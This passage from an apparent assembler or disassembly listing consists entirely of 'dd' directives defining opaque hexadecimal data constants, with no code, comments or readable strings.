80C77C3Fh, 0EAB7EB6Ch, 84DD3231h, 0BD3429E0h dd 84BD8CE6h, 37E2C2E1h, 0BA48F4A3h, 892AD50Ch, 4715DDDDh dd 96FAE13Ah, 7E0CBB26h, 92300310h, 0ACE0782Fh, 0FE4BDF3Ch dd 885707EFh, 4BA3B7FCh, 0DA61198h, 16440CD6h, 0B01A2DEAh dd 22EC74A1h, 32C3C4C8h, 614E1715h, 4A6EA627h, 62A21AF7h dd 0ADFC7261h, 9663160Ah, 0B720CEB1h, 234C7542h, 39403231h dd 4419265h, 7DDC1290h, 404F4A0Ch, 0B258CA6Ah, 0FD0074F2h dd 6228C648h, 0BA6192D3h, 3E1966F3h, 44FD2C2Dh, 6ACBA6E5h dd 0D04FFA4Eh, 0B8EB93C7h, 20DD38D6h, 9CF18D79h, 91487CCBh dd 6D79E11h, 1DF091h, 71955A69h, 0E3D4FA9Eh, 8D68C29h dd 63903B1Ch, 0B617E59Ch, 0F3E75970h, 9776A796h, 95C5577Fh dd 4DE16F4h, 0EE30B624h, 45BAC849h, 6C97415Dh, 89B5F9A5h dd 31238C50h, 0B8E44432h, 0ECD1A37Fh, 6254F94h, 539E44B5h dd 585E83BEh, 0C9B91C3Dh, 0F69EFC4Dh, 0CA3F2490h, 0B6A6A441h dd 8069E066h, 0B352749Ah, 0DC65F8Fh, 86E9C79Ah, 7C59B2CFh dd 0EE55285h, 84EA9029h, 0B977D25Eh, 3A229F4Eh, 0D5735D36h dd 31343231h, 9B3D8F32h, 5A2900ABh, 0C4125ACh, 57E67F48h dd 0DF2C7BC7h, 5A21D0D2h, 212CCB25h, 0A92455D9h, 10151E48h dd 0AF0C6412h, 0B81C0496h, 0D6DBCA29h, 0D8ACA147h, 0EBEC6A04h dd 9BA58E6h, 7E4805E9h, 634A337Eh, 565627B9h, 0FBC4E417h dd 97799E50h, 0CCF11024h, 7D40DB1Dh, 41B48EECh, 116B953Eh dd 7097111h, 3F5C9BB3h dd 0ADCF2C97h, 0C4DC1D81h, 0D9043B16h, 65F8B4DBh, 24963C00h dd 7D786AB9h, 903E9B57h, 62AFDF5Eh, 0B5721387h, 47C17418h dd 2A4FD83h, 8D61A674h, 0A90AA9FDh, 648D885Dh, 3A5F9D98h dd 359F33BFh, 855E9A52h, 7EFED3F4h, 9E158391h, 0B6FA72ADh dd 0C542FAF7h, 4DE89091h, 0BC46CADBh, 0B57A41CDh, 0E5D28666h dd 1F7BD5Dh, 70FE0A93h, 56A20AABh, 0BF2E4C53h, 0D1686033h dd 10DF5EDFh, 908B8C8Ah, 3041347h, 743892BCh, 8118189Ah dd 0E7932125h, 819D4214h, 7C3E54B6h, 9A516413h, 0B02CC101h dd 0ABF108Dh, 9072CDE5h, 65E8CEA1h, 7E4D78D0h, 0E4EB38A5h dd 0F802A0CAh, 0DF3FD80Ah, 234E6B1h, 8777B28Eh, 33EBCB08h dd 5686A3F6h, 7D306AB5h, 7446FD17h, 0F174F0FEh, 0F2B47B7h dd 0FBD3A3Dh, 0E22DBEBFh, 60629E8Fh, 21621867h, 30AB2E26h dd 514CCBA5h, 0AF40166Ah, 4C19D3FBh, 9CCA55D4h, 0DEE404F2h dd 618315E5h, 1F323145h, 0EDCEB31Fh, 9691F785h, 0DDAC3E57h dd 23F65670h, 334D2603h, 8E396C6Fh, 0D1DC899Ah, 3306DE68h dd 0D54A7252h, 0BD5DE4E4h, 60B72BFAh, 44654C39h, 0A434AB66h dd 189AB093h, 6725492Ch, 69DE356Dh, 786A544Ah, 0A5AF0155h dd 49A383Ah, 970F2881h, 3B5E4BACh, 0C0C39B0Dh, 13BDFBFCh dd 7229552Bh, 14593535h, 0B698D362h, 7AB5D589h, 6B612C5Ch dd 85B16C2Bh, 0FE385EEFh, 0AEBFA3FCh, 451D649Fh, 0A60B0601h dd 3B6B3F67h, 0C3FB092Eh, 17641E7Ah, 0BBE337C9h, 63984E18h dd 0D47BF1E4h, 6DAB037Ch, 0BDEF50BCh, 0BF244C38h, 9A323156h dd 30F95A5Ah, 0C23ED376h, 3D4F56D0h, 0A6DC1894h, 504B345Ch dd 3CC33231h, 49610A81h, 63D83289h, 3BCE143Bh, 75B5BA26h dd 0A963E040h, 50824C40h, 0C74D6FE7h, 30C271ACh, 22600AC0h dd 661A930Dh, 0C8DEA58h, 850F6CA1h, 523F30AFh, 39A9BE92h dd 0A0A129ABh, 510751ACh, 7C70076Dh, 0C646B1BAh, 0D90EC55Ah dd 42920C09h, 5E0CC191h, 2057F1BBh, 9219DC78h, 0BD91EDFFh dd 9359D373h, 1EB428EBh, 94D705Ch, 0F2F846D1h, 61BA9689h dd 0D3CCEFB3h, 81F970E1h, 24FF18E7h, 4D6918EAh, 0C4DE08ECh dd 0F3405B23h, 330BFDB7h, 9DDAAB73h, 7F14C684h, 0F7BACA3Ah dd 0CF71F5C1h, 0E77EF9E2h, 0B1D20F6Dh, 0EBBB482Ch, 0A2B627h dd 6944D4ECh, 8875F92Bh, 0FF6B1749h, 6769DBE1h, 4C91D352h dd 0D4A495C8h, 5B9B009Dh, 8BAFF958h, 889CB2F2h, 0F07E7FB0h dd 58E6D3D9h, 18E2EB78h, 62A68C99h, 845586FDh, 0AE7C4D82h dd 0D1919433h, 0B42A9585h, 9AA2D7A6h, 22B3254Bh, 514D211h dd 6727A9ECh, 0F22EF76Ch, 43463300h, 7B92635Bh, 379E12Bh dd 0C5FFD53Dh, 0C37E4FEDh, 57483003h, 8AD078FCh, 1CB9DDF1h dd 0B8BE8ABFh, 0B65A7E9Bh, 0E9740D5Ah, 0D3090A7h, 0F38CE930h dd 25D6AB8Dh, 7087A0Ch, 26635B49h, 0B78FFE7Dh, 0C2447FE3h dd 64CF49DCh, 82B8C5BDh, 6179355Eh, 0A7A0AC33h, 65038A08h dd 27ECAB44h, 7B03EFACh, 520E8489h, 9C085457h, 0E76A51DFh dd 6103B54Eh, 0D99BF27Ah, 0A343B138h, 2F1A2CCCh, 176F4AF1h dd 9DEA8898h, 0F389F709h, 5BE0CC91h, 99BFCBE9h, 6BC68348h dd 83393F81h, 6EDAA9DCh, 646D3561h, 0F129B94Bh, 4F3481DDh dd 951BE71Bh, 0DE002888h, 0F6BA7139h, 0B6B1089Eh, 96889FB9h dd 5BE93F2Ah, 0E0FCD526h, 7AA56AE7h, 93D951BAh, 0E08E20E8h dd 3D3FD0E6h, 8637F0B6h, 0D1999B61h, 70C4AA27h, 6669DAE8h dd 9B4223EEh, 2C143DF6h, 25C73B7Bh, 6DA34B72h, 7DD60BC8h dd 0CB54B4B2h, 9E7146AEh, 0A6B1A88Ah, 12B12AD4h, 82E3F5AEh dd 6A117044h, 6CB33BEh, 0EB659977h, 56C2085Ah, 570615A6h dd 2449D6BFh, 4F00CA45h, 759E0260h, 0E1EB5FA9h, 67B373B3h dd 0C03293B7h, 6F154DB1h, 0F25B3563h, 0E937F5AEh, 91E502A9h dd 5C1F601Ch, 0AB43BAA1h, 0C265D6F7h, 420B4E2Ah, 3B5C509Eh dd 970AF674h, 15C17030h, 0D57F47F6h, 0F1C3D6E4h, 0C2A618Ah dd 0E1F8C6D4h, 2B4F2A7Ah, 304EA050h, 1A26E7C9h, 0CB5E288h dd 0F6ADD7C2h, 0C5C6A082h, 31B082D7h, 18186B32h, 0F33A5D3Bh dd 11229912h, 93E7E3CFh, 8D21492Fh, 2E365770h, 41E881A6h dd 0F41F6819h, 3DE6EB69h, 0D167E258h, 756CB710h, 0D0E46907h dd 79D6121Ah, 0D51AD603h, 9CEBCAC6h, 0B64AA08Eh, 0AD4D10DCh dd 41BB3B2Fh, 0ABE6A7h, 3E4B306Dh, 72CC08CDh, 62F65E58h dd 89010566h, 0A38BE0D0h, 69273713h, 1FE5DBC7h, 0AAC6BBC8h dd 0D0FF382Fh, 73C0DD58h, 5568A3E3h, 918D6D13h, 0EF018418h dd 5893F0C5h, 214DAF71h, 85B0AB96h, 0BD3C8DBAh, 6E79C440h dd 890B54B1h, 173D870Ch, 152B1517h, 4CEC93DBh, 0B864C65Fh dd 0EBBEB1D5h, 7227B54Ch, 0E6ED1076h, 9D8C18A1h, 3D631FBBh dd 8C2CC64Eh, 7C32AF37h, 16E922AAh, 8F5E43Ch, 0EDDE6767h dd 5AF53290h, 1D66EE46h, 0C610840Eh, 0B258A19Eh, 0AAA4D9CAh dd 0B266DEDEh, 887645D9h, 4D6E53Dh, 20A37C69h, 0DC40392Fh dd 847B62DBh, 6FD1278Ch, 0A2582D3Dh, 34C4D530h, 7A5F9622h dd 0AD6514F3h, 0FAB012EAh, 8D3DC679h, 9BC1FAAFh, 0B42754A0h dd 0DD8E3C2Ah, 0F9BA40BCh, 8FCC82B8h, 0BC63AB0Ch, 14853B66h dd 7E6BFFBBh, 18B45821h, 0D635BE69h, 98378B74h, 9AEE78Fh dd 2716D4A5h, 17CC2321h, 34458F2Ah, 591BD54Ah, 0E1631455h dd 0B09682E3h, 24857063h, 0BB784737h, 9E07EF2Eh, 0F818CB90h dd 64F50AEDh, 52D9A91Ah, 0D46EA545h, 0DD75AA73h, 0E9E1A52h dd 63961C5Dh, 70E21CBAh, 0BC62E3A9h, 3C5008E9h, 397CF5D5h dd 0C2FCE281h, 0D71068CBh, 0F6D3FD98h, 43780899h, 25439D02h dd 0AE6B334h, 0C80030E7h, 66F1F0D2h, 22091AF3h, 534A6684h dd 8CED24FFh, 6644EB2Fh, 0E5DC82C5h, 23B83E88h, 89799D97h dd 496C661Ah, 0CCF1D272h, 0D6BB2CCAh, 0E54E4092h, 0A03A1B4Ch dd 0FC7FCCC3h, 1AABBBE3h, 10D73BCEh, 421110Eh, 0E2A81F8Fh dd 84B68565h, 2AF023E5h, 3399E575h, 1696243Fh, 41CA030Ah dd 0E545A9Ch, 0F370B02Fh, 63633DCFh, 0EF0E1481h, 6ED45CABh dd 0D8C6C102h, 0F254C78Fh, 22302228h, 47968B5Dh, 1546DC5h dd 0A8132940h, 195BF204h, 0A8B52D39h, 0DB3307CCh, 0E8E0F5F5h dd 0DBB7F44Bh, 50B54924h, 2EE2C717h, 8E88AC6Ah, 6391DEA8h dd 0B81B81AAh, 996020AAh, 0D4275526h, 21D0CD0Ah, 5506F554h dd 1861FDE4h, 1D2BE89h, 0CCDA7DC4h, 8C9BFC39h, 0A30C4B08h dd 83F1953Fh, 6C60ABA5h, 0C7BCDE74h, 4E469A25h, 39F47DEFh dd 0D7F3B198h, 2E8355C0h, 28816C2h, 82C9D3CCh, 470ECA61h dd 0CF810B42h, 4F243BDBh, 0C474B1F7h, 0C5F315C1h, 0F5D71F45h dd 8B7F1622h, 8E7F59EAh, 5A5AC61Dh, 0DAD361BAh, 32B31CD0h dd 7699A79Ah, 986C5566h, 7E823F65h, 342BC2CAh, 3EEE62FDh dd 44B45DB4h, 0CFCB46EFh, 5953E3BCh, 0A06CD0EBh, 0DD208F63h dd 7B2F5671h, 0D8E2E4C4h, 38F5534Fh, 39FBEC0Fh, 0E4F007CBh dd 69FBB587h, 0FA102201h, 5F6415D0h, 8D1DF463h, 0F06F067Ch dd 8540EBE7h, 9187074Eh, 1ED708ACh, 1C374042h, 9B60379h dd 3B1B253Ah, 0E780CCEFh, 0A598E904h, 0A63906FEh, 4A202F07h dd 0FD2B9D1Ah, 9A8B46FAh, 28E8E85Fh, 599C274Eh, 0DDA6920Eh dd 6F036761h, 80506748h, 8AF4D2BCh, 0C5B635A2h, 0F5E36479h dd 0C4CFAA0h, 7C6F78BFh, 5CC808A3h, 0F32D4E46h, 1437A172h dd 3FE3398Bh, 2816FCDFh dd 0EAB27BADh, 70E61F69h, 0FBDC0656h, 2877D903h, 133D1AEDh dd 2601CEF4h, 570683Ah, 0BFC939h, 0BAFB9456h, 114DB43h dd 740AE8D4h, 4E47567Ah, 0D9EAB1B0h, 0C85CBB97h, 8CC6BAh dd 0B95C7B66h, 0D7BF82E9h, 94B717BBh, 58CBAF65h, 4AD20AABh dd 0AF43D3FFh, 1316A0ACh, 1E866F5Bh, 9BE9730Dh, 9109B997h dd 0BF449061h, 5560C402h, 590F5E7Eh, 26705ED8h, 89D4ACD4h dd 0E9896BDDh, 1D9E48FCh, 78F425F8h, 0FB19BA4Eh, 0FE2F3EC8h dd 0FBBD9F34h, 0C2328049h, 2730314h, 9AA1D8EFh, 8EF84374h dd 6347869Dh, 2EEC931Bh, 3932748Dh, 1E73BF03h, 64D29534h dd 57933786h, 0B837770Dh, 54AA5C73h, 0DE20C72Ah, 918CBBF2h dd 35DA28EBh, 425A15ADh, 0D26AB9B4h, 0EFAB0Bh, 756EEB1Fh dd 5A27743Ch, 2E70096h, 9790E22Bh, 1384A2DCh, 0ECE27D48h dd 3A57C6B9h, 0E988E896h, 46F83D42h, 66529C1Fh, 0C7F520AAh dd 75517514h, 0F0B43A67h, 1571DCC1h, 52DEEC30h, 68918C04h dd 0E743DCA9h, 836DFCDBh, 771B74C3h, 41465BA9h, 4C33469Ch dd 7044C2F4h, 63B6A707h, 32316555h, 9FBB984Ah, 9516D19Fh dd 362356BFh, 0B3E81962h, 0E4A34461h, 0B5BE5994h, 3845B39Ch dd 9C33E3DCh, 1FCA691Dh, 0D70297F0h, 8ADDBBD6h, 0C4CDD1A0h dd 0FBE2F341h, 424F7F7h, 0C1B5FD53h, 0ABFC4847h, 2AD95F3Bh dd 763A7880h, 9204A96Ch, 826E399h, 55ECB8D4h, 62FF9A69h dd 42D3BFF6h, 5E7B73EBh, 0AFDD0F45h, 3FDEEC1Eh, 95A86D20h dd 0B93E21E4h, 2142DD0h, 72CBA55Ch, 62BC9594h, 86336373h dd 0E61EAA3Bh, 0E3BB6727h, 9EDE1691h, 841518D9h, 0E31418E4h dd 86364D7Eh, 0E0AB5666h, 8A8E6D58h, 0B459128Ch, 3B7E63A1h dd 2DCE856Ah, 7865925h, 40348E0Ch, 84ECCF00h, 4E0866F4h dd 18355BA3h, 0EF9C205Bh, 5A4B5FE0h, 0D6F92DE5h, 0FAE5C264h dd 83D2679Dh, 869D578Bh, 0D05BA85Bh, 0D4387CF5h, 14933314h dd 0F3125FBBh, 38D7CB33h, 3F1B155Bh, 0F057D6F3h, 868B9F68h dd 22519D49h, 3A808C1Ch, 0A7E80403h, 0AA3393E8h, 0D8F27FAAh dd 0B0E5943Ah, 0B8257D33h, 0B40DE535h, 0F9F12A59h, 0FA8B9D11h dd 1DD9CDBBh, 250A225Ch, 37737AE4h, 11ED21Eh, 6372DFE5h dd 0F93A9CA0h, 6178ECF4h, 0F37A99DEh, 0D8A0D4DBh, 0DBF02145h dd 6F5D80C1h, 0A3FC6798h, 0E55DF37Fh, 0E220C8FEh, 7AAFFA3Dh dd 0C6395BACh, 57237E91h, 9D13238Ch, 491DD2B9h, 2D5F6DBBh dd 5013E2AAh, 0B2E5343h, 947285B6h, 76E83F13h, 81A2B04Ah dd 0F545268Fh, 945E8C3Ah, 642A958Dh, 0EA010C59h, 9D80A60Bh dd 209D0E66h, 91D9091Fh, 4213EDBh, 29E87CCEh, 821C3E68h dd 0D00BBA02h, 0C04CB23Bh, 0C8F5C73Fh, 0DE968E53h, 0C1CFA49Fh dd 0D116269Fh, 4DD4B5BDh, 0FFB65B37h, 0DE41D2BBh, 8D6B17A4h dd 182FFCCh, 0FEC36DBBh, 4B5FA5DAh, 0C3192CB2h, 0BA99B884h dd 5F4E99CAh, 36FDCED6h, 5EFDA11h, 70E79BC3h, 0C8902B4Ah dd 41A8EBDAh, 0D345E8A9h, 78ADAFB3h, 7F1CC3DFh, 0A802B44Ah dd 0F25F60A7h, 0CC6A2ABDh, 0E683017Fh, 332A820Ch, 0FDF9C2AFh dd 0FA172350h, 221D4071h, 364B525Bh, 0E50B0D23h, 7BC594A9h dd 347B8766h, 33234C0Bh, 624E3F65h, 89BDA6DBh, 4172D3B0h dd 7796079Bh, 0CD627930h, 9E72F5Eh, 7FA6D018h, 986BAF51h dd 0C4A7D9C5h, 0D4206075h, 56CBFDF3h, 4E28220Ch, 56E9BC8Bh dd 41021E41h, 6BEC21DCh, 42DB54B9h, 31298852h, 0E29F2632h dd 413AFFA3h, 0C6B3394Dh, 3F45B139h, 6A383F4Bh, 4BEB76ACh dd 0CAC6D35Eh, 0C59A6048h, 0D1D89A56h, 750FF611h, 52157FD7h dd 0D16849CBh, 0A7EE90A5h, 0C9F8ABD4h, 93A772F5h, 0A8EEAFCEh dd 0E7F78978h, 37D6E0E3h, 0C0071E15h, 0A0D573ECh, 11209A90h dd 2493C164h, 0DF2814A2h, 4CF0ACB0h, 3FE913E1h, 591928DFh dd 0D9325712h, 92C6C5ADh, 984878AAh, 2A411DF2h, 851B8CBDh dd 35F89208h, 4DB9C0C0h, 0B1E122E5h, 90A547DEh, 0DDA86AB0h dd 0BE6A1F41h, 0D726AACh, 0C32B892Dh, 0B9700C1Ah, 0AF888388h dd 0C4C101F5h, 0B4C14974h, 8CB99CD2h, 0C4EDB720h, 79F6BA26h dd 8D5940A2h, 0A52CE6C7h, 2610F3D0h, 0E6B6A45Ch, 51AB0150h dd 2FED1A3Fh, 8483D5C7h, 8AC35A7Eh, 74601387h, 2BD18DB2h dd 0B0467E4Eh, 7C61F01h, 8CFBE788h, 0ADA68CBAh, 0B871A6D6h dd 1220F9F5h, 2887FBECh, 12FDA06Bh, 2A6C7601h, 0E0E00B5Eh dd 0BF020A7Fh, 8CBCD8D5h, 0B63F5E3Ah, 0BF692F90h, 69C10CE3h dd 39392822h, 2E0AA9A4h, 54EAF92Bh, 7DAF0806h, 0E275AF90h dd 0BC5FEE40h, 9186836Dh, 1C79C574h, 0B01C1830h, 0B44F5145h dd 9D4A20Bh, 85859108h, 0BDD8E7BCh, 0FAB3E147h, 2AF6BB8Ah dd 81F1F743h, 0FB7FED80h, 510EA5D3h, 179D4185h, 5EE49AFAh dd 0EF30383h, 0CB9B74EBh, 0FD68AD9Ah, 0A51CDAFDh, 15394A57h dd 0C04E1DA9h, 91EC39F7h, 0F43D2F04h, 0A866BDCDh, 119112FCh dd 131CD3FFh, 0E8F5E10Ch, 9B1D4D7Ch, 0F15339EAh, 63180933h dd 0B57909E8h, 11EC2EB1h, 0FD14FC16h, 0C04A19CFh, 0E06DDAA8h dd 0B9D5722Ah, 36F85449h, 0D3D84AE4h, 56152BD0h, 4D5545FFh dd 7053E782h, 6D7E833Ah, 2A105A11h, 47AA748Ah, 0E1742F5h dd 3B8D6F46h, 2DC48B0h, 10EA63C2h, 0DB3E8FEEh, 2F06DD12h dd 0C54275A5h, 3AB4435Fh, 4DB0DFFEh, 1CD576C4h, 44F8338Ch dd 8F1B7D14h, 0DCEDA284h, 97FAA6D1h, 561CC718h, 0E9973400h dd 0A1F5F6AAh, 0EC9A56D8h, 59619987h, 0C5EAC6B7h, 7E565403h dd 7C4400C7h, 540F4885h, 1CBF1369h, 42473C39h, 31CA8A6Eh dd 0B60D8032h, 60955B4Ah, 401D9D2Ch, 1DDEA5Eh, 6EAE59B4h dd 7632CE5Ch, 656B7DF2h, 3BB8E727h, 77F83F66h, 0AF5A6572h dd 51630598h, 13156B0Ah, 0C355DF2Dh, 0AEE6FA65h, 0FF397BC3h dd 1974C251h, 0D9089608h, 0EF979A6Fh, 0EAE7CEEDh, 6186F5C7h dd 7BDF2FE2h, 7535CD07h, 80D71235h, 6C93455h, 0B44B4EDDh dd 96D905ACh, 0A4D9F86Fh, 161E1269h, 2AAB1892h, 326ACE64h dd 7C1C580Dh, 0FA534245h, 860D44DAh, 18F0C2Bh, 0E1B5D7FEh dd 6B259772h, 91BEE257h, 0FC5B98B2h, 7A031607h, 0B1B29465h dd 267186A9h, 1620D617h, 0AA3556C9h, 0B299076h, 0C30C2DBAh dd 52D7505Dh, 7367820Ah, 0B8874DD8h, 66CADC6h, 0AAC6A16h dd 90533D59h, 89EB655Fh, 2FE0145h, 17F34D7Ah, 0C7D91FA0h dd 0F2C62C04h, 0DE179DBh, 2AA3B4D0h, 33CCEE6Ch, 156374A6h dd 51406A83h, 2C45A50Ch, 0B5AA9A83h, 4962258Fh, 4DBCA32Eh dd 0D6BFF568h, 37AFEAEFh, 5D1534F1h, 0C6EAC5D6h, 0BE69A386h dd 9D730DADh, 49CE8DD9h, 0F8BA4056h, 43D4AAE5h, 72CD773Bh dd 7CF2C957h, 469AB8FAh, 0CC6871BFh, 0F94FD109h, 3459330Dh dd 0EF08CB7h, 4E04FB2h, 0F4401B60h, 234EBA65h, 0E67A2BDDh dd 42615452h, 0E1C3692Bh, 5E8B6BCEh, 9151049Ah, 0CB242E0Bh dd 3231ECEAh, 87437B7Ch, 0BEF47F8Dh, 8DB453CBh, 6FFDA440h dd 92CD3865h, 1DD11047h, 2834E4A9h, 0B12FEBF3h, 0EA51F92Ah dd 5E191250h, 8853248Ah, 0D13F2E24h, 0E041E57Bh, 0AF437C68h dd 11D166F5h, 1C55E74Eh, 3DD2A35Eh, 60234701h, 72FA4CD0h dd 50FF0DEBh, 3025EB1Dh, 98E3F8A1h, 9E5A11FFh, 53F81BF0h dd 541012E6h, 0AFCE02Dh, 0BC42ECA0h, 857004F3h, 3DD7D7B4h dd 1B9EB86Fh, 2AC10341h, 0AAE99D4Ch, 6E6223D4h, 2FD34B47h dd 2AFDB3ACh, 1D4D91B9h dd 967584DFh, 6030760Ch, 0B6DB85D4h, 0F0EDA66Eh, 0E3103EF4h dd 740ECA1Fh, 0A9B89EFCh, 86445DD3h, 0B1EE0FFBh, 3D8CA0F9h dd 9F525E2Bh, 0FC6E6109h, 64E6FC30h, 95A8B759h, 33FF1760h dd 70A9DDBDh, 7556AA4Eh, 0C99BB84Fh, 0D0422F0Fh, 0D406242Fh dd 74566D64h, 5FEB2759h, 998836ECh, 39F8CE0Ah, 0D7A4B0F9h dd 6BCC8379h, 206130BAh, 0B4C7DA5Ch, 0BF9C26C9h, 3A6EB6DBh dd 276BBD12h, 675A55B5h, 6ED7DE7Eh, 7D0DE292h, 0A607FCBh dd 496F78FDh, 7D501D32h, 0F189AD35h, 5B5C850h, 0A3A7EAh dd 78522AA9h, 0D2EC39Dh, 9BDDC57h, 2FCD62CEh, 0D1C78376h dd 51505B5Ah, 38A04C2Ah, 9A0A658Ch, 85EB18A5h, 98EFD62Dh dd 0C994454Fh, 2690BEC4h, 2C9E944Eh, 2926B65h, 34D3FF40h dd 3A883ABBh, 0DA749F0Ch, 739BF0C3h, 0AE893668h, 4573BF9Fh dd 0D68A18FEh, 13E749A5h, 2FAE5486h, 8D075D64h, 0F76A2CF9h dd 0BF7878BEh, 0B9BEC5DEh, 764F1E1Eh, 0D19574C3h, 0E02F2AB7h dd 183624BBh, 0FFC00CF8h, 9FD4C89Eh, 0C00595FBh, 0E2B0E63Fh dd 0A20E1C07h, 3231144Ch, 2734A192h, 0D8738FAFh, 9D548179h dd 0BCE57A6Bh, 53675A02h, 0E141A9F0h, 3BBCC56Ch, 66B6AD03h dd 6133440Ch, 0DEB24B4Fh, 0DC514F6Fh, 60C0BA18h, 86B380B4h dd 40218CFAh, 76B6BBDDh, 3467AEDFh, 0C91AD13Ch, 7918C89h dd 3C6BCD20h, 6109B45Eh, 9184A638h, 69781C67h, 84A879Bh dd 0C4AE85E7h, 0F6609704h, 4C3DCEB9h, 12C03A6Fh, 81AA042Dh dd 0AEBAB059h, 95AB7293h, 3788A908h, 0B9A12144h, 0CAE3E9D8h dd 846814EBh, 1B6986A9h, 9926ED3Ch, 72AA2B28h, 7A3EE96Bh dd 19400800h, 72F2BACh, 0C8E69B16h, 0A88A6A44h, 681F9007h dd 0A044CFD7h, 0AC256849h, 5A812B2Eh, 2F183AFCh, 0A514C605h dd 0D38CFEF7h, 0E0D9890Ah, 92306D12h, 0A4F04950h, 0A3457998h dd 7873234Dh, 6C177A59h, 0DF40CBCFh, 492EA1F5h, 0EE9B2C52h dd 399A89CCh, 0C5CF1C5Ch, 0AC5198BEh, 0F866087Dh, 83EA1810h dd 9EB8D9C7h, 0CE18B776h, 5D394D34h, 0FFECB5AFh, 5DBFBA26h dd 1E6D73BCh, 4F140243h, 4D5A39A2h, 7818F9DDh, 0DA7E2E92h dd 3704DB53h, 3CCD7911h, 5CD8C710h, 0EB601A50h, 0C37E9A7Fh dd 6DBCB17Bh, 0CF40950Fh, 1C2D81D0h, 7D475051h, 20138F4Eh dd 0F227F2BDh, 52F4A8E2h, 0D08116BAh, 0DFDD518Ah, 0EE6C85EDh dd 0C95AD4D4h, 2DA87DEFh, 7C27CB04h, 0F6B205ECh, 0E3EB39B8h dd 9E20DB7Ah, 0B551F08Dh, 0BE45CF22h, 0A94D8158h, 38D8965Ah dd 0E35CE2D6h, 5F5DC454h, 15AE0A9Ch, 6EF088E4h, 91F14ED1h dd 0E2C9360Fh, 25780646h, 1E86EFF7h, 5A3B1409h, 0F4FC64C7h dd 97ABD63Ch, 0C0097778h, 489928F4h, 0C96D88B3h, 235497EFh dd 0AAC6844Ah, 502219ECh, 0A3345680h, 1BEDD9CBh, 0C88F3C8Eh dd 8367AEFBh, 6484B7E8h, 397C1EE0h, 0A0FEF471h, 54CFFBABh dd 591E2D98h, 326DE253h, 0AA21364Eh, 5A59BD72h, 0A38DFCF6h dd 5EFEEB6Bh, 4D2FD3A9h, 0F0E4C005h, 0E3A0C551h, 3ED51134h dd 0E07D752Eh, 2A0BB179h, 0EB3C6CD6h, 0FD91C6A1h, 52B3C7Bh dd 66BC0DD4h, 0A2DD8239h, 682EEE01h, 5D1E7909h, 444A78Ch dd 0B01B01A4h, 0D7A3A3CCh, 12399005h, 0F48FBBD2h, 7FB39DE7h dd 8C629E8Ch, 9BCD3622h, 0B1477A59h, 9B701FADh, 0CC23B257h dd 392248ADh, 245F166Fh, 0BDE56861h, 101586F5h, 4A0419D6h dd 6D6012A2h, 607CB5ABh, 1132231Bh, 0F8485948h, 0C7F76BB7h dd 8B5CFC29h, 508C60Ch, 5F706EEFh, 0DE8D2D33h, 30E2B698h dd 0FB4439DFh, 0DBBF30A4h, 0BE619B45h, 8ADC4AB9h, 0F683A0ADh dd 407A63F3h, 0EB00DE91h, 11178F60h, 0AE944246h, 0D4BA7078h dd 0CAE8007Fh, 0B2B601A6h, 1A2F250Dh, 452E8C04h, 3370086Dh dd 0CBD1BE12h, 7172039Ah, 0B362AC27h, 0CBC1436Ch, 3231B058h dd 0EAE745D7h, 0EB79AADBh, 0E953FCF5h, 7A94D22Ch, 7772C89h dd 93E8186h, 70302A87h, 0EF90CB89h, 53028EF1h, 25B5FEA8h dd 0D4B38DE1h, 3A419F11h, 7399E2D7h, 1EAD2CFCh, 0ADBAE72h dd 7536FA4Bh, 9CB2C76h, 40D57F4Fh, 0E0ACE21h, 0F47CA19Eh dd 0C4E405A9h, 0D34087A4h, 61C8BAE9h, 0AEA3AD25h, 0FDC312ADh dd 60F17EE4h, 44AE7ADh, 2BF7A62Fh, 6A370B9Bh, 0FF01BD4Fh dd 86E319E8h, 59C9BA77h, 0EB943F17h, 0B06EF8E2h, 0CFAF5647h dd 6A1953DAh, 5FC541CCh, 0D88251EBh, 0E5AF415Eh, 55DB8C39h dd 0B85B1837h, 0ED193DB6h, 21674BBBh, 0CDE90678h, 1BEEE953h dd 1217D141h, 0F5A0D8CEh, 0A1F62B28h, 5D3D6389h, 0E333925Ch dd 3321F6CEh, 5EC5C6ECh, 1552F179h, 68EEF095h, 53078C4Ah dd 0B235482Ah, 0DA4ACE83h, 922C9BB9h, 0D1CED145h, 1CE4D16Eh dd 0F0509062h, 32311718h, 0BB62186Fh, 0E04890DCh, 89094C61h dd 99D7D613h, 8ED1F827h, 3CB5A83Ch, 31F1A278h, 0F13B2E32h dd 0DDD27DF3h, 0E166ABEBh, 0A2D8D00h, 456D770h, 805B1884h dd 64262246h, 0C286F1C2h, 0E3957F0Fh, 30E10AFDh, 2F097C7Dh dd 967F39Ch, 8E2C3699h, 47647988h, 927E8278h, 9E5248A0h dd 319E34C5h, 7280B532h, 0E12D913Bh, 3AF635A3h, 94F1B957h dd 156D3BC3h, 0E7C04E01h, 34A1E24Dh, 0A2CF5B20h, 0C053F2EAh dd 0B3203B1Fh, 66247B26h, 3ED09660h, 0AF80D43Ch, 278D0F48h dd 2E4AB29Ch, 3EA98EFAh, 0C776663Ch, 953805B3h, 3CD41564h dd 58D53FE4h, 5DCFF36Bh, 5038FEA8h, 0DDD7E74Ah, 5FB611ACh dd 0D53B89F0h, 507DA135h, 568E03FDh, 898E06BDh, 0F92307C9h dd 0C776AFD7h, 73E0F276h, 0E916B6EFh, 0D7106D1Dh, 45083231h dd 4E769554h, 95BCC915h, 0F05DAB28h, 76504F3Fh, 8CA9FB0Ch dd 6013D877h, 0D5C759E1h, 0E6EC426Eh, 7050D3A8h, 2CE7987Dh dd 8248F0BBh, 0A9012552h, 30735A46h, 917D4A8Bh, 0B9AA597h dd 6B039325h, 0C6D90EEBh, 1307C1AEh, 67EA4BFBh, 0C49A9432h dd 0E2D62758h, 270A9D8Eh, 96ED83Fh, 1BCDAD28h, 86476E15h dd 0A6A56FEFh, 1B192FD0h, 0AFDBF477h, 0D3D1F6AFh, 0A3E2D789h dd 669393Ah, 6106787Eh, 9E06BF2Dh, 317C9D90h, 2C443432h dd 4FFE403Eh, 0F6B0A713h, 0CC7E704Fh, 0E8F1836Ah, 0E393C7EFh dd 896032CFh, 91C15B7Bh, 6CA36C1Bh, 52B13305h, 0C8999790h dd 547BE5C3h, 0D8720944h, 0B45973A2h, 0A21F6DE4h, 5D891E50h dd 7A6B97D4h, 0C83B1D62h, 65C55E05h, 955A18E5h, 235CAF2Dh dd 0CBD3C93Eh, 368A0CFEh, 32CB9BE6h, 0BA00E51Bh, 63B1FE34h dd 0A293FBBEh, 0CC5DC5C7h, 0C8444F39h, 909971ABh, 0A35E1342h dd 0BC3C91B1h, 1E190795h, 